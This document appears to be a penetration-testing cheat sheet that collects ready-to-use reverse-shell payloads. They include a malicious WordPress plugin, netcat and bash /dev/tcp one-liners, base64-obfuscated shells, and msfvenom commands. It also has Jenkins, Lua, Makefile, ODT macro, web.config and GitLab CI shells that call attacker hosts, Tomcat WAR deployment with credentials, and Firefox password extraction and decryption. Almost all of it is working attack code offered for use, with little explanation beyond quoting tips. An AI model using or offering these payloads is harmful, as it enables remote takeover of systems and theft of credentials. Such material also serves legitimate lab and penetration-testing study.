Reverse Shells
External Cheat Sheet
#external_Sheet
WordPress Plugin
#wordpress_plugin
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Vince Matteo
* Author URI: http://www.sevenlayers.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'");
?>
NC
#basic_nc
nc -e /bin/sh 10.0.3.4 4444
nc -e /bin/bash 10.0.3.4 4444
#stealthy_nc
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.166 1234 >/tmp/f
#busybox_nc
busybox nc 192.168.45.248 8080 -e /bin/sh
#base64_nc
create the base64 payload:
echo -n 'bash -i >& /dev/tcp/10.10.14.19/443 0>&1' | base64
Or
echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.19/443 0>&1'" | base64
Or
echo -ne "bash -c 'bash -i >& /dev/tcp/10.10.14.19/443 0>&1'" | base64 -w0
Explanation:
echo -n→ Don’t print a trailing newline (\n).-e→ Interpret escape sequences inside the quotes, e.g.\n,\t,\x41, etc.| base64 -w0→ Encode to Base64 without wrapping lines (the-w0flag disables line breaks, Base64 encoders often insert line breaks every 76 characters (MIME convention). For scripts/payloads you usually want a single line (no \n inside), so use -w0.).
on victim:
echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE0LjcgNDQzCg== | base64 -d | sh
or
echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE0LjcgNDQzCg== | base64 -d | bash
#rlwrap_nc
For a better non-TTY shell with history, and blocking accidental CTRL+C
stty intr '' # disable Ctrl+C
rlwrap -N nc -lnvp 8080
stty intr ^C # restore Ctrl+C
Or (one liner)
stty intr ''; rlwrap nc -lnvp 8080
To kill the shell, background it
CTRL + Z
Find it
bg
Then kill it
Kill %1
Bash
#bash_forced
/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'
#base64_bash
When there are issues with quotes inside quotes or some bad characters in the exploit we use base64
python cve-2019-9193.py -i 192.168.137.60 -c "echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5MC84MDgwIDA+JjEn | base64 -d | bash"

#bash_escaped_quotes
we can escape quotes inside of an exploit to avoid the double/nested quote issue (when quoted bash run inside a program already using the quotes ’…’)
python cve-2019-9193.py -i 192.168.137.60 -c "bash -c \"bash -i >& /dev/tcp/192.168.45.190/8080 0>&1\""
This will become —> bash -c "bash -i >& /dev/tcp/192.168.45.190/8080 0>&1" inside the PostgreSQL exploit which uses FROM PROGRAM ’…’
our final command becomes:
FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/192.168.45.190/8080 0>&1"'
What “double quote issue” means here
-
You have three layers of interpretation:
-
Python / exploit script → parses the
-cargument inside double quotes ”…” -
PostgreSQL
COPY FROM PROGRAM→ parses the string inside single quotes ’…’ -
Target Bash → executes the command
-
-
If your payload contains unescaped quotes, one layer may think the string ends early, breaking the command.
Msfvenom
#msfvenom
Non-Staged
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.166 LPORT=443 -f exe -o nonstaged.exe
Staged
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.45.166 LPORT=443 -f exe -o staged.exe
Jenkins Script Rev shell
#jenkins_script
Guide available here: https://github.com/Brzozova/reverse-shell-via-Jenkins
Thread.start {
String host="<your_machine_IP>";
int port=<your_webserver_port>;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
Lua rev shell
Linux only
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Linux and Windows
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
Makefile rev shell
install:
bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'
Windows ODT macro rev shell
we plant this using libreoffice, an ODT rev shell, we select a Basic Macro, and create a new one
Sub Main
Shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.161:8001/powercat.ps1');powercat -c 192.168.45.161 -p 135 -e powershell")
End Sub
after that, in tools —> Customize —> Events —> Open Document —> assign Macro —> select our macro file
Web.config upload rev shell
When we have an upload page, all extensions are not allowed, but web.config file upload is allowed, we can execute web.config as an ASPX page. The web.config file has settings and configuration data for web applications on IIS servers. It is similar to a .htaccess on an Apache server. We can potentially include asp code in the web.config and get it to run.
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.5/Invoke-PowerShellTcp.ps1')")
%>
Webdav rev shell upload
with basic authentication, we can upload a nc.exe or revshell we create to the webdav using
curl --user 'jane:password' -T
./nc.exe http://192.168.45.12/webdav/nc.exe
curl— HTTP client.--user 'jane:password'— sends HTTP Basic Authentication with usernamejaneand passwordpassword(base64‑encoded in the request).-T ./nc.exe— upload (aka--upload-file) the local file at that path using an HTTP PUT to the URL you give.http://192.168.45.12/webdav/nc.exe— the destination URL. Because the path containswebdav, this is typically a WebDAV-enabled endpoint that accepts PUTs to create/replace files.
Mozilla password decrypt
There is this tool called firefox_decrypt, we extract from the directory .mozilla/firefox/te2rsyhat.default-esr/ 2 files
key4.db
login.json
run firefox_decrypt on mozilla folder
python3 firefox_decrypt -d mozilla
or specify the profile location (after zipping and downloading the whole mozilla directory)
tar -zcvf /var/tmp/mozilla.tar.gz .mozilla
unzip and decrypt passwords
tar -zxvf mozilla.tar.gz
python3 firefox_decrypt ./.mozilla/firefox/te2rsyhat.default-esr
Gitlab-ci yml rev shell
if we have a GitLab CI/CD (Continuous Integration and Continuous Deployment) . We can benefit from injecting a rev shell in the .gitlab-ci.yml file —> it’s a whole process of modifying the core configuration file for GitLab CI/CD (Continuous Integration and Continuous Deployment). It tells GitLab how to run your pipelines—defining what to build, test, and deploy, and under what conditions.
the .gitlab-ci.yml file — the main configuration file used by GitLab CI/CD.
Here’s what it means, broken down simply:
-
“.gitlab-ci.yml” → This file (stored at the root of your repository) defines all the automation rules for GitLab’s CI/CD pipelines.
-
“modifying the core configuration file” → means editing this YAML file to control what GitLab does automatically when code changes (like running tests, building apps, or deploying).
-
“tells GitLab how to run your pipelines” → you describe jobs (like
build,test,deploy) and when they should run (for example, only on certain branches). -
“defining what to build, test, and deploy, and under what conditions” → you specify each step of your project’s workflow — from compiling code to testing and deployment — along with conditions like branch names, tags, or merge requests.
let’s create a config file with a rev shell injected
before_script:
- python3 --version # For debigging
test:
script:
- /bin/bash -c 'bash -i >& /dev/tcp/192.168.45.174/8443 0>&1'
run:
script:
- echo "Insert something useful here"
Tomcat rev shell
We can generate the war file and upload it by ourselves
msfvenom -p java/shell_reverse_tcp lhost=10.10.14.20 lport=80 -f war -o pwn.war
then upload it
curl -v -u tomcat:'$3cureP4s5w0rd123!' --upload-file pwn.war "http://10.10.10.194:8080/manager/text/deploy?path=/foo&update=true"
then trigger it
curl 10.10.10.194:8080/foo
Or we can use the tool warsend.sh for automated tomcat rev shell (https://github.com/thewhiteh4t/warsend)
./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat \$3cureP4s5w0rd! revshell